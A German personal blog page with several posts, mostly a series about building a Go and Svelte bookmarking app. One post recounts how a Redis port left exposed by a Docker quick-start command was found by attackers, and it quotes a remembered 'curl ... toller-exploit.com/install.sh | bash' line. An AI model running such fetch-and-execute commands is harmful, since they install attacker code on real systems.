knuspermagier.de

Er bloggt noch? Krass!

Ohne RSS-Feed ist es kein Podcast

Ich war ja Fan des Die Schaulustigen-Podcasts. Passmann und Kalle beendeten ihn vor Kurzem, weil “sich das Serien schauen jetzt wie Arbeit anfühlt”. Aha. Das Gefühl ging anscheinend schnell vorbei, denn jetzt starten sie einen Podcast zum gleichen Thema bei Audible… ich bin echt kein Freund von solchen Exklusivdeals.

beerensalat.jpg

Die erste Ladung Beeren aus dem Garten. Erstmal Marmelade gekocht!

L-BOXX

Jahrelang fristeten meine Akkuschrauber ihr Dasein an der Wand in der Abstellkammer. Es ging ihnen immer gut dabei, aber die Zeiten und Umstände ändern sich. Wenn man die Schrauber nun nicht mehr nur zu Hause braucht, sondern zum Beispiel auch im Garten mal etwas andübeln möchte, kommt man schnell in die Bredouille. Wie transportiert man seine liebgewonnenen Goldstücke?

Man könnte entweder die Kiste nehmen, in dem der eine Akkuschrauber geliefert wurde, ein Makita MAKPAC. Leider basiert der auf dem TANOS systainer®-System und ich habe es noch nie geschafft so eine Box zu öffnen, ohne mir weh zu tun. Traurig aber wahr.

Zum Glück gibt es auch noch weitere Anbieter von stapelbaren Boxen, zum Beispiel das L-BOXX-System von Sortimo. Es ist toll, man tut sich nicht weh beim Öffnen!

Weiterlesen →

Serie: toller.link
git tag v1.0

So, kommen wir zum Ende dieser kleinen Saga. Ich habe erstmal alles erledigt, was ich haben wollte.

Natürlich gibt es noch tausende Dinge, die man einbauen oder optimieren könnte. Der Code ist furchtbar und zumindest der Go-Teil ist zum großen Teil zusammenkopiert. Ich muss das alles nochmal durchlesen, verstehen und optimieren — aber das ist natürlich nicht so spannend.

Gestern baute ich noch fix eine ganz dumme Authentifizierung ein und baute einen Hintergrundprozess, der Titel und Content herunterläd. Das war einfacher als gedacht mit diesem goCron-Paket.

Ich werde das jetzt mal ein paar Tage benutzen, und schauen, ob ich es wirklich brauche. Erstmal muss ich nun auch meinen Slack durchsuchen, nach dem einen Link, den ich eigentlich mal speichern wollte! Ich hoffe ich finde ihn noch.

Das Thema Deployment-Prozess habe ich auch erstmal geschoben, falls ich es einfach gar nicht benutze, dann muss ich es eh nie wieder deployen.


Um das Repository zumindest halbwegs sauber zu haben, habe ich gerade mal noch eine README gepusht. Vielleicht hilft sie ja sogar mir, irgendwann, wenn ich Lust habe daran weiterzuentwickeln!

(Achja, der erste Feature Request wird wohl eine Funktion um meine ganzen Test-Links zu löschen 🤓)

Serie: toller.link
Quick Start considered harmful

Tatsächlich hatte ich gestern ja schon einmal alles fertig deployt und am Laufen, doch nach wenigen Minuten passierte etwas komisches. Alle meine Links waren weg! Wie konnte das passieren!

Also, sie waren nicht wirklich weg, aber da der GET-Request ja direkt Redis fragt, und der Index gelöscht war, wirkte es so, als wäre alles weg. Doch wer hat den Index gelöscht? Ein kurzer Blick auf die Ausgabe von redis-cli keys * brachte Klarheit.

Ich hab leider keinen Screenshot gemacht, aber es war halt sowas in der Art drin wie:

curl -blAh https://toller-exploit.com/install.sh | bash

Naaaja. Wie auch immer. Ich weiß auch relativ genau, wie das passieren konnte, denn ich habe, so wie es im Quick Start Guide for RediSearch stand, Redis per Docker-Befehl gestartet:

docker run -p 6379:6379 redislabs/redisearch:latest

Profis wissen natürlich direkt, was das Problem ist — ich hatte keine weiter konfigurierte Firewall auf dem Server und -p 6379:6379 bindet den Port direkt an 0.0.0.0 und macht ihn damit aus dem Internet verfügbar.

Witzigerweise war mir das sogar bewusst, als ich das Snippet kopierte. Letztens deployte ich nämlich schonmal etwas mit Docker und im Arbeitskontext kopiere ich natürlich nicht einfach irgendeinen Kram, sondern recherchiere erstmal, was die Befehle überhaupt machen.

Erst vor ein paar Tagen, auf der Suche nach einem Bookmarking-Tool, 🙃, fand ich den Blog von Kevin, der in einem Post auch auf genau das Thema eingeht. (Kevin baut übrigens LinkAce, was ich sicher mal ausprobiert hätte, wäre ich nicht zu faul gewesen, es auszuprobieren)


So. Warum habe ich in diesem Fall jetzt eigentlich den Befehl einfach kopiert und nicht, korrekterweise, auf -p 127.0.01:6379:6379 angepasst? Ich hatte vergessen, ob die 127.0.0.1 ans Ende oder an den Anfang kommt und nahm mir fest vor, es später nochmal zu korrigieren. Wer hätte gedacht, dass die fleißigen Portscanner-Hacker nur Minuten brauchen um eine offene Redis-Instanz zu finden?


Das war also der Grund, warum toller.link gestern doch noch nicht erreichbar war. Auch wenn das Redis im Container lief und der “Exploit” sicher auch gar nicht ausgeführt wurde, habe ich die VM nämlich vorsorglich erstmal rebuilded und hatte dann keine Lust mehr, es neu einzurichten. Mittlerweile läuft allerdings alles, juchu!


Die Moral von der Geschichte? Kopiert nicht einfach Kram aus Quick Start Guides, ohne jeden einzelnen Parameter zu hinterfragen. Schreibt euch irgendwo auf, wenn ihr ein Problem eigentlich schonmal gelöst habt!

Wenn ihr solche Guides schreibt: Wie wäre es, den Leser darauf hinzuweisen, dass das nicht gerade der sicherste Weg ist, etwas zu tun? Also klar, Quick Start heißt nie production ready. Aber auch in einer Testumgebung kann es extrem nerven, wenn dir irgendwer die Redis-Datenbank flusht.

Zusätzlich könnte man sich fragen, warum das binden an 0.0.0.0 der Standard ist, aber da wird sich sicher jemand Gedanken gemacht haben!

Serie: toller.link
GOOS und GOARCH

Immer noch keine Lust auf Authentifizierung. Kümmere ich mich also erstmal um das Deployment, solang ich es noch nicht wirklich benutze, ist es ja auch egal.

Also schnell bei Hetzner eine VM geklickt und grob eingerichtet. Ich muss mir dringend mal ein Ansible-Playbook für meine privaten Server zusammenbasteln. Ich entscheide mich RediSearch per Docker-Image zu starten weil ich keine Lust auf kompilieren habe. Ich bin in der Zukunft angekommen.

Als nächstes überlege ich, ob die Go-App das Frontend wohl selber ausliefern kann, aber irgendwie klappen alle Code-Snippets nicht, die dafür sorgen sollen, dass der HTTP-Server Kram aus frontend/public korrekt ausliefert. Ich lege das erstmal für später zu den Akten und mache das per nginx.

Ein npm run build ist das Frontend fertig. Ein go build und das Backend ist fertig. Ich übertrage alles per scp, weil ~ich im Vorgestern lebe~ es schnell gehen soll und starte das Backend… geht natürlich nicht. Falsches Binary-Format! Ich muss etwas C R O S S C O M P I L E N. Das habe ich ja noch nie gemacht!

env GOOS=linux GOARCH=amd64 go build

Die Aufwände dafür halten sich allerdings auch in Grenzen.


Jetzt, wo es online ist und funktioniert, baue ich also um den iOS Shortcut. Ich hasse das Interface zwar, aber immerhin kann man das auch nebenbei auf der Toilette erledigen.

Mir fällt auf, dass man auch direkt den Safari Reader View anzapfen kann um an den echten Content der Seite zu kommen. Das ist ja nett, dann brauch ich gar keinen Hintergrund-Prozess, der die Seiten crawlt und hab direkt ein qualitativ hochwertigeres Stück Content. Zumindest sind mir aktuell keine guten Open Source Implementierung für die Content-Extraktion bekannt. Das Problem scheint sich seit der Quote.FM-Zeit nicht gebessert zu haben!

Jedenfalls baue ich dann mal noch eben Support ins Back- und Frontend ein, dass ich den Webseiten-Body übermitteln kann, er indiziert wird und bei der Suche auch durchsucht wird. Zusätzlich zeige ich im Frontend noch an, wo das Suchwort vorkommt! All die Sachen, die man halt quasi gratis bekommt.

Hier und da entstehen noch ein paar offene Fragen. Wie schreibt man in Svelte CSS-Code, der auch für dynamisch erzeugtes HTML funktioniert? (Die hervorgehobenen Wörter im Suchergebnis, z.B.). Erstmal in die global.css gepackt, aber ich werd’s mal noch googeln.


Tatsächlich dauert das mit Safari Reader View mir fast ein paar Sekunden zu viel, was den Share-Prozess irgendwie lang macht. Vielleicht baue ich es doch wieder aus. Mal sehen.


Jetzt aber Authentifizierung und einen… Deployment-Prozess, den ich halbwegs automatisieren kann. Vielleicht mal Github Actions probieren, oder so? Als Docker-Image? Brauche ich da eine eigene private Docker Registry, oder lade ich Sachen privat bei Docker Hub hoch? Die Wahrscheinlichkeit ist hoch, dass mir das zu stressig ist, und ich die Dateien lieber weiter per rsync hochlade. Wäre da nur nicht die Nervigkeit, dass man supervisor dann immer neustarten muss! Immer diese kompilierten Programme!!


Falls ihr euch jetzt fragt, warum toller.link gar nicht geht, obwohl ich großspurig erzählt habe, dass es deployt wurde? Dazu komme ich morgen.

Sonos-Frust

Aktuell habe ich vier IKEA Symfonisk-Boxen im Betrieb. Manchmal funktioniert alles, aber gerade ist der Wurm drin. Auch mit S2.

Mein WLAN war teuer und ist perfekt. Daran kann es nicht liegen. Klingt alles nach... Software-Problemen. Aber waruuuum. Sind die IKEA-Boxen vielleicht doch schlechter? Muss ich alles mal resetten? Wer will denn sowas?

Warum funktionieren Dinge nicht einfach.

Serie: toller.link
Es wird Svelte!

Nachdem ich gestern anfing das Backend zu bauen, habe ich heute erstmal doch keine Lust die drei Zeilen für eine Token-basierte Authentifizierung zusammen zu kopieren und widme mich erstmal dem Frontend. Nachdem ich kurz die Dokumentation von Alpine überflogen habe, entscheide ich mich doch für Svelte. Ich gebe zu, etwas gecheatet, damit hab ich schonmal etwas klitzekleines gebaut vor ein paar Wochen. Ich erteile mir damit 5 Straf-Minuten!

Immerhin zeigt er mir nun etwas an, und ich hab auch einen schönen Gradient von uiGradients eingebaut, denn Gradients sind ja gerade hip. Vielleicht wechsel ich ihn nochmal. Allgemein ist das Design natürlich noch nicht final, immerhin hab ich erst 25 Minuten in das Frontend investiert, was will man da erwarten.

Natürlich musste ich noch ein paar Zeilen schreiben, damit der Applikationsserver auch den CORS-Kram macht, denn das Frontend läuft im Development-Mode natürlich auf einem anderen Port!

Was machen wir morgen? Endlich eine Authentifizierung, ein fettes Deployment und einen iOS-Shortcut, damit wir Sachen speichern können!

Serie: toller.link
Erste Go-Versuche

Da es heute recht viel regnet, komme ich tatsächlich dazu meine ersten Versuche mit Go zu machen. Tausend Tabs und insgesamt vielleicht ein Stündchen später habe ich immerhin schonmal etwas, mit dem ich Links speichern und auslesen kann. Okay.

Meine take aways vom ersten Tag:

Morgen baue ich mir noch eben eine billige Authentifizierung ein und dann geht's ans Frontend!

Seitdem ich die “Weiterlesen”-Funktion auf der Startseite einbaute, war wohl auch mein RSS-Feed gekürzt. Das war nie meine Intention und ist gefixt, sorry! (Danke Markus!)